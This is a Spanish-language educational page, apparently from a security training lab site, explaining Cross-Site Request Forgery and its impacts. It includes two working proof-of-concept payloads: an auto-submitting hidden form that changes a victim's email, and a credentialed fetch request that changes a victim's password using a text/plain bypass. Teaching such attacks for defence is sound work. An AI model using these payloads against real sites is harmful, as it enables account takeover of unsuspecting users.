Nuevos labs cada semana — Accede a todos desde 5€/mes

CSRF

Medio

Cross-Site Request Forgery

Definición

Cross-Site Request Forgery (CSRF) es una vulnerabilidad que permite a un atacante engañar al navegador de un usuario autenticado para que envíe peticiones no deseadas a una aplicación web. Como el navegador incluye automáticamente las cookies de sesión, la aplicación procesa la petición como si fuera legítima.

Impacto

Cambio de email o contraseña de la víctimaTransferencias bancarias no autorizadasCambio de configuración de cuentaPublicación de contenido en nombre de la víctimaEliminación de datos del usuario

Ejemplos

CSRF para cambiar email

Si la víctima visita esta página mientras está autenticada en victima.com, su navegador enviará automáticamente las cookies de sesión, cambiando su email al del atacante.

<!-- Página maliciosa del atacante -->
<html>
<body>
  <form action="https://victima.com/api/settings/email" method="POST" id="csrf-form">
    <input type="hidden" name="email" value="atacante@evil.com" />
  </form>
  <script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

CSRF con petición JSON (usando fetch)

Algunos endpoints JSON son vulnerables si no validan el Content-Type estrictamente o no requieren un token CSRF. El atributo credentials: include asegura que se envíen las cookies.

<!-- Bypass cuando el endpoint acepta Content-Type: text/plain -->
<script>
fetch('https://victima.com/api/change-password', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'text/plain'},
  body: JSON.stringify({password: 'hackeado123'})
});
</script>

Practica CSRF con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica